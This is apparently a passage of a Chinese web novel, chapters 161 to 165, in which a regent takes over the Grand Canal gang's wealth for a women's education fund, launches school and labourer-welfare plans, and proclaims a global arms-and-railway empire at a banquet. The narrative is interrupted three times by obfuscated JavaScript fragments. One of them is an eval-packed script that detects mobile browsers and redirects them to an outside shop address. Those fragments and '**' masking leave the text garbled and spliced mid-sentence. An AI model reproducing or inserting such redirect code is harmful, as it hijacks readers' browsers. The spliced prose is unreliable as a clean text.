近百名女账房、文书、管事,正在这里紧张而有序地工作着。她们中有从京城总会紧急抽调来的骨干,有江南本地新招募的识文断字的女子,甚至还有几位原漕帮账房中愿意留下的老账房先生(被要求戴上眼罩,只在特定区域工作,接触核心数据)。所有人都在埋头疾书,飞快地核算、誊录、核对。空气中弥漫着浓重的墨香、新纸张的清香,以及一种……金钱与权力快速流动、汇聚时产生的、令人心跳加速的独特气息。 就在一个时辰前,新任大运河物流总司执行会办柳随风,亲自率领原漕帮(现物流总司)的核心账房团队,押送着整整三十口包裹着铁皮、贴着封条的大箱子,以及十多个装满账册、地契、船契、仓单等文书的沉重木柜,正式完成了与女学基金的资产交割。 那三十口大箱子里,是漕帮银库和遍布各州府钱庄中能够立即调动、或短时间内可以变现的硬通货——白花花的官银锭、黄澄澄的金锭、以及部分成色极好、易于估价的珠宝玉器。初步清点,合计价值约一百八十万两白银!这仅仅是流动资金的一部分,已然堆满了分会宅院后面的三间大库房,在窗外透进来的天光下,反射着令人心醉神迷的金属光泽。 而真正的重头戏,是那些堆积如山的账册和契约所代表的、估值高达近六百万两的固定资产和无形资产的所有权转移!码头、船只、房产、田产、商铺、货栈、车马行、乃至漕粮专运额度、盐引份额、各地官府的“通关文书”(某种意义上的特许经营权)……这些构成了漕帮百年基业的实体与脉络,如今,在法律意义上,已然改换了主人。 “初步核算完毕!” 一名约莫四十岁年纪、穿着靛蓝色襦裙、头发梳得一丝不苟、面容严肃中透着干练的女账房主管,强压着内心的激动,放下手中的朱笔和算盘,拿起一份刚刚誊写好的清单,快步走到议事厅上首,向坐镇在此的谢凤卿、萧御以及女学基金总会的几位高层汇报。 她的声音因为激动而有些微微发颤,但依旧保持着清晰和专业: “禀王爷,殿下,各位理事。接收大运河物流总司(原漕帮)全部资产,包括但不限于码头、船舶、房产、田产、商铺、货栈、车马行、现存货物及部分特许权益,按此前议定之估值,作价五百万两白银。” “首期交割,计现银一百八十万两,已全部入库,由三班护卫轮流看守,账实核对无误。” “此外,依据契约,物流总司承诺,自即日起,每年会计年度结算后,将净利润之百分之十,无条件、永久性划拨至‘天下女学基金’专项账户,用于指定之沿河女子教育及劳工家庭帮扶事业。” 她深吸一口气,目光扫过清单上那个用朱笔特别圈出的数字,声音陡然拔高了几分,带着难以抑制的兴奋: “综合核算,仅以本次接收之固定资产、流动资产及未来稳定收益权计入,天下女学基金总资产估值,已正式突破——一千万两白银!” “且,此后每年,将至少新增十万两以上之稳定资金流入!若物流总司经营得法,利润增长,此数字还将大幅提升!” 一千万两! 而且有持续不断的活水注入! 这个数字,像一道惊雷,劈在议事厅内每一个人的心头。就连一向沉稳如山的萧御,在听到这个数字时,握着茶盏的手指也不由得微微收紧,眼底掠过一丝震惊。他知道漕帮富有,但没想到竟富到如此地步!更没想到,谢凤卿竟能以这种方式,如此“和平”且“合法”地将这笔巨额财富纳入囊中,并且赋予了它如此正当且崇高的用途。 要知道,大靖朝廷在填补了之前的巨额亏空后,如今的国库账面存银,也不过七八百万两。而女学基金,一个半官半民、以兴办女学为主旨的慈善教育基金,其掌控的财富总量,竟然瞬间超越了国库! 这哪里是“一夜暴富”?这简直是点石成金,是化腐朽为神奇!是将一个旧式江湖帮派的百年积累,通过精妙绝伦的所有权转移和未来承诺绑定,瞬间转化为支持她宏大社会改革与理想蓝图(女学普及、科技兴国等)的超级资本引擎! 而且,这种转化方式,极具正当性和感召力。不是横征暴敛,不是巧取豪夺(至少表面程序公平合理),而是通过“商业收购+社会回馈”的捆绑模式完成。这简直是为女学基金的“金字招牌”又镀上了一层耀眼的光环,也让谢凤卿“财神大帝”与“女学推动者”的双重形象,变得更加深入人心,无可指摘。 议事厅内陷入了短暂的寂静,只有众人压抑的呼吸声和心脏狂跳的声音。每一个女学基金的工作人员,脸上都洋溢着激动的红晕,眼中闪烁着光芒。她们亲身参与并见证了一个奇迹!一个由她们的主事者,那位如同神祇般的摄政王殿下,亲手缔造的财富神话! 第162章计划核心 谢凤卿坐在上首,听完汇报,神色依旧平静无波,仿佛那令人眩晕的一千万两数字,对她而言只是一串普通的字符。她放下手中的茶盏,那是一只素雅的白瓷盏,与她玄色的衣衫形成鲜明对比。 她缓缓站起身,走到窗前。窗外是江南分会精心打理过的小庭院,几株梅花开得正艳,假山流水,颇有意趣。但她的目光,似乎穿透了这精致的院落,投向了更远处那条繁忙不息、如同帝国血脉的大运河,投向了运河两岸星罗棋布的城镇与村庄。 “漕帮百年积累,”她开口,声音清越,在寂静的议事厅内回荡,“取之于漕运,用之于民。然其旧制之下,多中饱私囊,少惠及黎庶。今日易主,非为敛财聚富,乃为使这笔凝聚了无数船工纤夫血汗的财富,能够更有效、更公正、更持久地,用于利国利民之事业,创造更大之价值,惠及更广之众生。” 她转过身,目光扫过屋内众人——那些激动、兴奋、充满干劲的脸庞。她的目光沉静而有力,带着一种指引方向的力量: “钱财如水,可载舟,亦可覆舟。聚财有道,更需用财有方。” “传令天下女学基金各分会及办事处。” 她的声音陡然提高,带着一种不容置疑的决断: “自即日起,启动‘运河晨曦计划’!” 众人精神一振,立刻有文书拿起纸笔,准备记录。 谢凤卿条理清晰,语速平稳地说道: “计划核心,分为三部分。” “第一,专项资金落实教育。从本次接收之一百八十万两现银中,即刻拨出专款二百万两(注:包含部分未来预期收益抵押融资),作为‘运河晨曦计划’之启动及首期资金。此款项专项用于:于运河沿线主要州府、县城及重要集镇,优先选址、兴建或扩建一百所女子学堂。学堂建设标准,参照《女学基金学堂营造则例》,务必坚固、实用、明亮。招生对象,优先面向沿河船民、码头搬运工、纤夫、漕运相关手工业者等贫苦劳动家庭之女童。凡入学者,一律免除其所有学杂费用,并由基金提供统一课本、笔墨纸砚。此外,设立‘晨曦午膳补贴’,为所有入学女童提供免费午膳,确保其不致因饥饿而辍学。” 兴建一百所女学!免学费!免费午膳! 这个手笔,让在场的女学基金工作人员几乎要欢呼出声!她们太清楚这意味着什么了!这意味着成千上万的、原本可能一辈子困于灶台、嫁人生子、重复母亲悲惨命运的女童,将有机会走进学堂,读书识字,明理自强!这将改变多少人的命运! “第二,技能培训促进就业。”谢凤卿继续道,“拨出专款五十万两,设立‘漕运子弟女子技能培训专项基金’。此基金用于:选拔资助沿河地区有志于学习实用技艺之适龄女子,进入基金与工部、皇家科学院合办之‘技工学堂’或‘医护学堂’,学习河工测量、船舶基本维护、基础账目核算、医护急救、纺织印染、食品加工等实用技能。学制一至二年,学成之后,经考核合格,由‘大运河物流总司’、‘天下共富商号’及相关合作工坊优先聘用,确保其学有所用,能够凭自身技艺获得稳定收入,自立自强。” 技能培训!学成包分配! 这又是一项实实在在的惠民举措,而且直指女子经济独立的核心!授人以鱼不如授人以渔!有了谋生的技能,女子才能真正摆脱依附地位! “第三,改善劳工福利,保障基本权益。”谢凤卿的语气变得更为严肃,“着令大运河物流总司管理层,即刻着手,会同女学基金民生保障部,制定并颁布《物流总司雇佣劳工待遇保障章程》。章程须明确:所有受雇于总司之码头搬运、船舶水手、仓库管理等人员,其最低薪酬标准、最长工时限制、工伤医疗保障、以及其直系亲属(尤其是女子、儿童)之基本生活保障、就医就学优先权等。改善待遇、保障福利之合理费用,可计入总司运营成本。女学基金将派员监督章程落实情况。” 保障劳工权益!惠及劳工家庭! 这不仅是对底层劳动者的仁慈,更是稳定社会、获取民心的长远之策!运河沿岸数十万靠水吃饭的苦力,他们的拥护,将是新生的“物流总司”最坚实的根基! 谢凤卿每说一条,屋内众人眼中的光彩就更盛一分,心中的敬佩与激动就更深一层。这不是空洞的口号和画饼,这是具体可行、目标明确、资金到位、惠及万千底层民众、尤其是处于弱势地位的女子的实实在在的德政!是以经济手段,潜移默化地改善民生、提升女子地位、改造社会结构的系统工程! “此‘运河晨曦计划’,”谢凤卿最后总结道,声音铿锵有力,“须即刻拟成详细章程,广贴告示,派员宣讲,务必使运河沿岸,乃至天下百姓,妇孺皆知!” 她走到议事厅中央,目光如炬,扫过每一个人: “要让所有人明白,漕帮易主,换来的不是权贵豪强的又一场盛宴,而是千万普通百姓、尤其是贫苦女子实实在在的实惠与希望!要让所有人都看到,‘天下共富’,绝非一句空谈!取之于民,用之于民,女子能顶半边天,我谢凤卿,说到做到!” “谨遵王爷谕令!”屋内所有女学基金的工作人员,连同萧御带来的几位属官,齐齐躬身应诺,声音响亮,充满了干劲与使命感。她们仿佛看到,无数的女童背着书包走进明亮的学堂,无数的女子通过学习技能获得了体面的工作,无数的劳工家庭因为有了保障而露出了笑容……而这一切,都将由她们亲手去推动,去实现! 消息再次如同长了翅膀,以比前两次更加迅猛的速度传播开来,这一次,伴随着“运河晨曦计划”的具体条款,如同春风般吹遍了运河两岸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还有呢!”另一名文书展开第二张布告,声音洪亮,“从今日起,所有在物流总司码头、货栈、船队干活的人,工钱有保底——搬运工每日不低于五十文,船工每月不低于二两,受伤了有药钱治,看病去指定的济民堂,只收半价!家里的娃子,无论男女,上学看病都有照应!” 码头上瞬间鸦雀无声。 随即,爆发出震天的欢呼。 “漕皇万岁!女学基金万岁!”陈三第一个跪了下来,这个在码头上扛了二十年活、被把头打断过肋骨的汉子,此刻涕泪横流,“这才是真菩萨啊!真菩萨啊!” “以前那些把头,除了抽份子钱,哪管咱们死活?”一个断了三根手指的老搬运工举起残缺的手掌,声音哽咽,“我这两根手指,就是被货箱砸断的,把头连二十文药钱都不肯给!” “以后干活可得卖力点,对得起王爷这份恩德!” “运河晨曦……这名儿起得好啊!”一个读过几年私塾的老账房捻着胡须,眼眶微红,“咱们这些在运河上讨生活的苦哈哈,总算看见点光亮了!” 消息像长了翅膀,沿着运河两岸飞传。从金陵到扬州,从苏州到杭州,从镇江到淮安,每一个码头,每一处货栈,每一个船工聚居的棚户区,都在传颂着同样的消息。女娃能上学了,午饭免费,学成了有活干;干活的有保底工钱,受伤了有人管,娃子看病有照应。 第163章当真如同做了一场大梦 这不是施舍,这是出路。 这不是空话,这是实实在在能摸得着的米粮、铜钱和活路。 那些常年佝偻着脊背、在烈日暴雨下扛包卸货的汉子们,第一次挺直了腰杆;那些终日蜷缩在破棚屋里缝补浆洗、为下一顿发愁的妇人们,第一次在昏暗的油灯下,小心翼翼地为女儿梳理枯黄的头发,眼里噙着泪花,嘴角却带着笑;那些面黄肌瘦、光着脚丫在码头边捡拾碎煤渣的孩子,第一次知道了“学堂”是什么地方,第一次有了“以后”的概念。 “漕皇”的称呼,在民间被叫得越来越响,越来越自然。这称呼里,不再仅仅是对权柄的敬畏,更掺杂了感激、期盼和发自肺腑的拥戴。茶馆里,说书人将今日码头大会的场面添油加醋,说得天花乱坠;酒肆中,劳工们用粗瓷碗盛着劣质烧酒,却喝出了琼浆玉液的豪情,一次次举杯“敬漕皇”;就连深闺中的妇人,也会在哄孩子入睡时,低声哼唱起不知从哪儿传来的童谣:“运河长,运河宽,运河来了谢凤卿,女娃能上学,汉子有工钱……” 民心似水,既能载舟,亦能覆舟。而今日的谢凤卿,用实实在在的恩惠,在这条大运河上,汇聚起了滔天的民心巨浪。这一次的“暴富”与“惠民”紧密结合,产生的**效应,远超千万两白银的简单堆积。 那句口号,如同最锋利的楔子,深深钉进了运河两岸每一个人的心里: “漕帮易主,女学基金填,天下共富!” 酉时初刻,暮色四合。 金陵城最负盛名的“望江楼”,今夜灯火通明,却门户紧闭。高七层的木构楼阁在渐浓的夜色中宛如一座矗立在江边的灯塔,飞檐斗拱上悬挂的琉璃灯盏次第亮起,在江风中微微摇曳,将雕梁画栋映照得流光溢彩。 顶层“观澜厅”,面阔五间,进深三间,是整座楼阁最开阔轩敞之处。此刻,厅内灯火如昼,二十余张黄花梨木圈椅围成半圆,面向着敞开的雕花隔扇门。门外是宽阔的露台,凭栏远眺,但见长江如练,浩浩汤汤,横无际涯。运河在此汇入长江,水势愈发奔腾,江面上渔火点点,与天边残留的一抹绛紫色晚霞交相辉映,更远处,水天一色,暮霭沉沉。 厅内陈设清雅而不失雍容。地上铺着厚厚的回纹锦毯,四壁悬挂着前朝名家山水真迹,多绘大江烟波、云山雾海,与窗外实景相映成趣。紫檀木多宝阁上,错落摆放着官窑青瓷、羊脂玉雕、青铜爵杯,并无过多金银俗器。空气中弥漫着清冽的龙涎香,混合着窗外飘来的江水气息,令人神清气爽。 出席者已陆续到齐。 主位之上,谢凤卿一袭玄色织金云纹常服,玉冠束发,神色平静,正与身旁的萧御低声交谈。萧御今日穿着月白色银线暗绣竹纹锦袍,外罩同色纱氅,少了平日的冷峻,多了几分儒雅,只是那双深邃的眼眸偶尔扫过厅内众人时,依旧带着不动声色的审视。 下首左侧首位,坐着新任大运河物流总司执行会办柳随风。他已换下白日那身半旧的靛青长衫,穿上了一身崭新的藏青色云纹直裰,头发梳得一丝不苟,用一根青玉簪固定。脸上的疲惫与沧桑犹在,但眼神已恢复清明,甚至带着一种历经劫波后的沉稳与坚定。他身侧依次是三位被留用的原漕帮长老:传功长老石镇岳,身材魁梧,满面虬髯,沉默寡言,一双蒲扇大手按在膝上,指节粗大,青筋隐现;掌舵长老**,身形精干,皮肤黝黑,一双眼睛锐利如鹰,那是常年观察水情、驾驭风浪磨炼出来的;内务长老钱不多,白白胖胖,总是眯着眼睛,一副和气生财的模样,手里习惯性地摩挲着一串油光水滑的紫檀算盘珠子。再旁边是两位年轻些的原分舵主,一个叫赵铁锚,一个叫孙水蛇,都是水里来浪里去的好手,此刻正襟危坐,既兴奋又忐忑。 右侧首位,是女学基金江南分会的会长,一位年约四旬、气质温婉的妇人,姓苏,曾是江南有名的才女,夫君早逝后潜心办学。她身着藕荷色绣缠枝莲纹褙子,发髻简洁,只簪一支碧玉簪,目光柔和而坚定。她身旁是几位分会核心管事,有老成持重的账房先生,也有精于庶务的中年妇人。 再往下,是江南布政使沈墨轩,年约五旬,清瘦矍铄,三缕长髯,颇有文士风骨。他今日告假赴宴,未着官服,只一身靛蓝道袍。他下首是两位致仕的老臣,皆曾官至三品,在地方上德高望重。最后是三位耆老乡绅,皆家资巨万,且平日乐善好施,在士林商界声誉颇佳。 侍女们悄无声息地穿行,为众人斟上温好的陈年女儿红。酒色澄澈如琥珀,香气醇厚。时令佳肴陆续呈上:清蒸鲥鱼鳞光闪闪,蟹粉狮子头鲜香扑鼻,龙井虾仁白嫩翠绿,文思豆腐细如发丝,还有应季的腌笃鲜、马兰头、荠菜馄饨……皆是江南风味,精致而不奢靡。 柳随风深吸一口气,再次举杯起身。这一次,他的动作更加沉稳,腰弯得更深,双手捧杯,目光诚挚地望向谢凤卿: “王爷,今日种种,随风及漕帮上下数十万弟兄,当真如同做了一场大梦。梦醒时分,方知前路已绝,回头是岸皆是王爷恩典。”他的声音不高,却字字清晰,带着历经生死后的通透与感激,“若非王爷以霹雳手段廓清妖氛,以菩萨心肠指明生路,我等恐怕早已是冢中枯骨,或是沦为他人俎上鱼肉,死无葬身之地,更遑论身后家小。此杯,敬王爷再造之恩,点拨之德!随风不才,既蒙王爷不弃,委以重任,自当与总司上下同仁,鞠躬尽瘁,死而后已,以报王爷天恩厚德!” 说罢,他仰头,将杯中酒一饮而尽,随即翻转杯口,滴酒不剩。 谢凤卿看着他。这个中年男人眼中的惶恐不安已褪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013742|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去大半,取而代之的是一种破釜沉舟、重获新生的决绝与希望。她端起面前的白玉杯,这次不再是浅酌,而是实实在在地饮了半杯。温润的酒液入喉,带来些许暖意。 “柳会办请坐。”她放下酒杯,声音平和,却带着不容置疑的力量,“过往已矣,来者可追。物流总司之未来,不在本王一言,而在诸位能否同心同德,顺应时势,革故鼎新。旧日江湖**气、帮派陋规,诸如私斗、抽水、欺行霸市、盘剥底层等,必须彻底革除。新的《物流总司管理章程》不日将颁布,从人员聘用、薪酬定级、货物承运、成本核算、利润分配到安全保障、**调解,皆有法可依,有章可循。诸位首要之务,便是熟悉新章,并尽快在总司及各分舵推行。” 她目光扫过石镇岳、**、钱不多等人:“石长老精于武艺与人手调度,可主抓全司安保与人员操练,但须摒弃旧日好勇斗狠之风,重在纪律、协作与应急处突;洪长老熟知水道,经验丰富,可协助规划航线、制定航运规范、培训船工水手;钱长老长于计算,可会同女学基金账房,尽快厘清总司资产,建立新的账目核算与物资管理体系。二位舵主,各有所长,可辅助各位长老,稳过渡,促革新。” 她的安排条理分明,人尽其用,既给了他们位置和权力,也划定了清晰的边界。石镇岳抱拳沉声道:“王爷放心,石某晓得轻重,定将手下儿郎管束妥当,遵纪守法,护卫漕运平安。”**也点头:“航道水文,某心中有数,定当倾囊相授,不负王爷所托。”钱不多笑得见牙不见眼:“理账盘库,正是钱某本行,定与基金诸位账房先生精诚合作,将总司家底摸得清清楚楚,每一文钱都花在刀刃上。” 萧御此时开口,声音清朗,带着朝廷亲王特有的威仪:“漕运关乎国脉民生,物流总司担此重任,朝廷亦不会坐视。摄政王与本王已奏明圣上,朝廷正在拟定《漕运新律》及配套税赋优免、航道养护、过闸优先等新政,不日将明发天下。总司可派员参与细则商讨,凡有利于提升运力、保障安全、降低成本、惠及船工民生之举措,户部、工部、兵部及沿途各州县,皆会予以便利,扫清障碍。” 这番话,无疑给柳随风等人吃了一颗定心丸。有了朝廷律法和政策支持,许多过去需要漕帮靠“江湖面子”甚至灰色手段才能打通关节的事情,将变得光明正大、有法可依。钱不多已经开始在心里飞快盘算新政可能带来的成本下降和利润空间了。 酒宴气氛逐渐升温。江南布政使沈墨轩捻须笑道:“王爷此举,实乃利国利民之壮举。漕运畅通,则东南财赋可源源北输,民生货物可四方流转。下官定当约束地方,竭力配合总司革新事宜。”两位致仕老臣和乡绅也纷纷附和,表示愿为漕运新政、女学善举略尽绵薄。 第164章备足粮草,铸就基石 苏会长柔声道:“女学基金得此厚赐,定当善加利用。江南分会已拟定详细章程,首批将在沿运河十二个主要码头市镇,开设蒙学堂十二所,技能学堂六所,收纳女童预计可达两千人。教材、师资、场地已在筹备。此外,基金将拨出专款,在各大码头设立‘济民堂’分点,聘请坐堂医师,为总司员工及家属提供平价诊疗。愿此举,能稍解劳工之苦,慰王爷仁德之心。” 柳随风等人闻言,更是动容。这不仅仅是给了他们一条生路,更是给了他们手下数十万弟兄和家小一个实实在在的保障和盼头。赵铁锚忍不住道:“王爷、殿下、苏会长,我……我代码头上的兄弟们,谢过了!”这个在水上刀口舔血的汉子,声音有些哽咽。 谢凤卿微微颔首:“此乃应有之义。取之于漕,用之于民。女学基金之财,本就为普惠天下而设。” 酒过数巡,窗外暮色已完全被夜幕取代。江风渐大,带着湿润的水汽卷入厅中,吹得灯火摇曳,映得众人脸上光影明灭。话题也不知不觉从具体的漕务、新政,转向了更宏大、更遥远的方向。 也许是酒意微醺,也许是窗外浩荡江水的感染,也许是白日剧变带来的心潮尚未平复,厅内众人的谈兴愈发浓厚。一位乡绅谈起前朝三宝太监下西洋的壮举,感叹如今海疆不靖,海贸萎缩。另一位老臣则唏嘘西北商路艰难,茶马互市时断时续。 谢凤卿静静听着,指尖无意识地在白玉杯沿轻轻摩挲。杯中琥珀色的酒液微微荡漾,倒映着跳动的烛火和她幽深的眼眸。 忽然,她再次举杯起身。 这一次,她没有面向任何人,而是缓步走到敞开的雕花门边,凭栏而立。玄色的衣袍在浩荡江风中微微拂动,猎猎作响。厅内霎时安静下来,所有人都屏息望着她的背影。 “诸位,”她的声音响起,并不高昂,却奇异地压过了窗外江水的呜咽与风声,清晰地传入每个人耳中,“今日于此高楼,临江设宴,看大江东去,千帆过尽,可曾想过,这滔滔江水,日夜奔流,究竟汇向何方?这万千舟楫,南来北往,最远又能抵达何处?” 众人一怔,若有所思。柳随风望着谢凤卿的背影,又看看窗外无边的黑暗与零星的渔火,似乎隐约抓住了什么,却又模糊不清。 谢凤卿转过身,背对着浩瀚的夜空与江水,面向厅内众人。灯火从她身后照来,给她的轮廓镀上了一层淡淡的金边,面容却隐在光影之中,唯有一双眸子,亮得惊人,仿佛倒映着整条星河。 “运河之利,仅在此一隅。长江之阔,不过此一脉。”她抬起手,虚指窗外,“然则世界之大,海洋之广,犹有**波涛,无尽财富,亿万生民,在神州之外,在重洋之远。彼处,亦有土地待垦,有商路待通,有文明待启,有强敌待御。” 她顿了顿,目光缓缓扫过众人震惊、疑惑、继而渐渐燃起火焰的脸庞。 “本王曾昭告天下,要建‘世界**库’,以**之力,开山辟路,守土安邦,震慑不臣;要筑‘世界铁路网’,以钢铁之轨,贯穿南北,联通东西,缩地成寸,使天涯若比邻。” 她的声音渐渐提高,带着一种斩钉截铁的力度: “然,**欲售往海外,需有安全便捷之海路,需有能抵御风浪、装载巨量之船队!铁路之钢轨、机车、物资转运,需有深入内陆腹地之河道运输,需有连接海岸与内陆之高效港口!强大、高效、安全、可控,且能随帝国疆域与商路延伸至全球每个角落之物流血脉,乃是一切宏图伟业之基石!是帝国肌体之动脉,是联通神州与寰宇之生命线!” 厅内落针可闻。只有江风呼啸,烛火噼啪,以及众人骤然加重的呼吸声。 柳随风只觉得一股热血直冲顶门,握着酒杯的手微微颤抖。石镇岳瞪圆了眼睛,**不自觉地挺直了脊背,钱不多捻着算盘珠子的手指停了下来,赵铁锚和孙水蛇更是激动得脸色发红。沈墨轩、苏会长、两位老臣、三位乡绅,无不面露震撼,陷入沉思。 “故而,”谢凤卿的声音陡然变得激昂,如同金石交击,铿锵有力,在宽阔的厅堂内激起回响: “今日之漕帮易主,女学基金财富剧增,绝非为了坐享其成,囤积居奇,更非为了本王或基金一己之私欲!此乃积蓄力量,聚敛资本,为开启下一段更加波澜壮阔、关乎国运兴衰之征程,备足粮草,铸就基石!” 她向前一步,玄衣下摆拂过光洁的地面,灯火将她的影子拉得很长。 “这积聚的财富,这整合的运河命脉,将转化为驱动‘世界**库’加速运转、产出更多更强火器之燃料!将锻造成铺设‘世界铁路网’不断向边疆、向远方延伸之坚硬钢轨!将凝聚为打造帝国远洋船队、支撑神州走向深蓝、拥抱世界、货通天下之坚实舟楫!” 她猛地举起手中金杯,杯中酒液激荡,映照着满室灯火与她灼灼的目光,面向窗外那无边黑暗与隐约的江流之声,仿佛在向不可知的未来宣战,又仿佛在向在座的众人描绘一个触手可及的辉煌梦境: “以此杯,敬那即将被我们亲手开启的——世界物流之崭新时代!敬那建立在强大物流血脉与钢铁轨道之上的——全球**与铁路帝国!” “愿我大运河物流总司,以此为新起点,脱胎换骨,乘风破浪,早日扬帆四海,货通天下,成为帝国最坚韧的血管,最有力的臂膀!” “愿我女学基金,善用此财,广建学堂,普惠众生,为帝国之未来,育万千栋梁,泽被苍生,福泽绵长!” “愿我煌煌神州,乘此革新之东风,破浪前行,引领世界之浪潮,开万世之太平!” “干!” 话音落下,如同惊雷炸响在寂静的厅堂,又如烈火投入干柴。 “愿随王爷,开创不世伟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢凤卿与萧御在众人恭敬的礼别中,率先离席。柳随风率领物流总司诸人,一直恭送到望江楼下。晚风带着寒意,吹散了楼内的暖意与酒气,却吹不散众人心头的火热。 “柳会办,诸位,”临上马车前,谢凤卿驻足,回头看着灯火下那一张张神色各异却都写满信心的脸,再次叮嘱,声音在夜风中格外清晰,“革新之事,千头万绪,如治乱丝,不可操之过急,亦不可懈怠拖延。首要在于稳定人心,安抚旧部,将总司改组之益处、新政之实惠,晓谕上下。女学基金派驻之账房与监察,皆为精通庶务、品性端正之人,彼等并非监军,实为助力,意在协助总司建立新制,杜绝旧弊。尔等须坦诚相待,精诚合作。遇有难决之事,或地方势力阻挠,不必硬抗,可直接呈报于本王或萧御亲王。” 她的目光在柳随风脸上停留片刻:“你既为会办,便是一司之首。当有担待,有谋略,有胸襟。用人不疑,疑人不用,但法度章程,不可轻废。望你好自为之,莫负今日之志。” 第165章今日之事,可谓完胜。 车轮粼粼,碾过湿漉漉的青石板路。春雨方歇,石板上水渍未干,倒映着街边灯笼的昏黄光影,马车驶过时溅起细碎的水花,发出“啪嗒、啪嗒”的轻响。 车厢内,鲛绡纱灯透出的光柔和如雾,将狭小的空间笼罩在一片暖黄之中。谢凤卿靠在铺着锦缎软垫的车壁上,双目微阖,长长的睫毛在她白皙的脸颊上投下两道浅浅的阴影。一日奔忙,从拂晓时分的铁血雷霆,到午后利益交割时的精准算计,再到望江楼夜宴上的宏大布局,心神损耗,即便以她超乎常人的坚韧,此刻也难免显露出疲惫的痕迹。玄色的衣袍卸去了几分白日的凌厉,松散的领口隐约可见一截纤细的锁骨,随着她平稳的呼吸微微起伏。 萧御坐在对面,隔着不过三尺的距离,静静地看着她。灯下看人,朦胧中更添几分不真实感。她脸上惯有的那种冷冽锋芒收敛了,平日里紧抿的唇角放松下来,整个人笼罩在一种罕见的、甚至可以说是脆弱的静谧之中。只有眉心间一道极浅的、几乎看不见的褶皱,透露着思绪并未完全停歇。她闭着眼,但那眼帘之下,仿佛仍在审视着什么,计算着什么。灯火勾勒着她流畅的下颌线条,在她浓密的睫毛尖端跳跃,让她整个人看起来像一尊精雕细琢、却有了温度的玉像。 马车驶过依旧笙歌隐隐的秦淮河畔。夜风从微微掀起的车帘缝隙钻入,带来远处飘渺的丝竹声,还有河面上画舫灯笼倒映的、被水波揉碎又聚拢的点点金红。那是一片与白日里码头喧嚣截然不同的、属于金陵城温柔乡的繁华,纸醉金迷,如梦似幻。然而这浮华之声,传入这辆沉默行驶的马车内,却显得格外遥远,与车内凝重的气氛格格不入。 车轮继续向前,将那片浮华抛在身后。穿过官署林立的朱雀大街,两侧高墙深院,石兽肃立,在夜色中沉默地伫立着,如同一个个蛰伏的巨兽,只有门檐下悬挂的、写着各色官衔的灯笼,在夜风中孤寂地摇曳。巡更人沉闷的梆子声,从不知哪条巷弄深处传来,“笃——笃——笃——”,带着某种亘古不变的节奏,丈量着这漫漫长夜。 偶尔,马车会经过尚未完全陷入沉睡的坊巷。临街的窗户里透出昏黄的灯火,有妇人低低的呵斥孩子的声音,有男子疲惫归家的沉重脚步声,有婴儿细弱却执拗的啼哭,有夫妻间压低了的、带着柴米油盐气息的絮语。这些属于最普通百姓的、带着烟火气的声音,在这寂静的夜里,显得格外清晰,也格外真实。 这座城,这座千年古城,在经历了一个白日的天翻地覆、血流成河、财富易主、人心震荡之后,似乎只用了短短几个时辰,便又重新披上了它那副亘古不变的、包容一切也吞噬一切的平静面孔。市井的喧嚣会散,但炊烟明日依旧会升起;码头的哭喊会停,但运河的船帆永远不会绝迹;旧的秩序轰然倒塌,但新的生活,或者说,只是另一种样貌的、名为“生活”的轨迹,很快又会填满每一个缝隙。 但萧御知道,这一切不过是表象。有些东西,从今日起,确切地说,从那个玄衣女子踏足金陵、以雷霆手段清洗漕帮的那一刻起,就已经被永久地改变了。那条维系帝国南北、流淌了数百年的黄金水道上,换了新的主人,也即将换上新的规矩。数十万漕工、船夫、苦力及其背后家庭的命运,从今日起,将拐向一条或许艰辛、但至少看得见些许光亮与希望的道路。一笔足以动摇国本的、令人窒息的庞大财富,在经历了惊心动魄的转手后,被冠以“女学基金”的名号,即将注入另一条同样关乎国运的、名为“教化”与“未来”的血脉。而一个脱胎于旧日江湖帮派、却承载着令人心悸的野望的怪物——“大运河物流总司”,正在无数人或明或暗的目光注视下,于废墟之上,开始它的第一声心跳。 更令人心潮难平的,是那刚刚在望江楼顶、在猎猎江风中宣示的、关于“世界”与“帝国”的蓝图。那不仅仅是口号,萧御能感觉到谢凤卿话语中那种近乎冷酷的确信。那不是空中楼阁,那是她一步步正在夯实、正在构筑的未来。而今晚,那蓝图的第一块、也是最关键的一块拼图,已经被她牢牢地嵌在了棋盘上。 马车微微颠簸了一下,碾过一处不平的路面。谢凤卿的睫毛颤了颤,但终究没有睁开。 “今日之事,可谓完胜。”萧御终于开口,声音低沉,打破了车厢内长久的、只有车轮与道路摩擦声的寂静。他斟酌着词句,既是陈述,也是分析,更像是在梳理自己同样不平静的心绪。“漕帮易帜,过程虽有波折,但终是平稳过渡,未酿成大乱,数十万人赖以谋生的水道,未曾停摆一日,此乃大局之稳。徐有财一系被连根拔起,其背后宗室势力在江南最大之财源与爪牙顿失,此为剪除肘腋之患。更难得者,如此巨富,尽归女学基金,名正言顺,无可指摘,堵住了天下悠悠之口,也绝了旁人觊觎之心。而码头上那一番施恩惠民,更是直指人心,底层劳工感恩戴德,‘漕皇’之名,自此深入人心。民心所向,千金难换。” 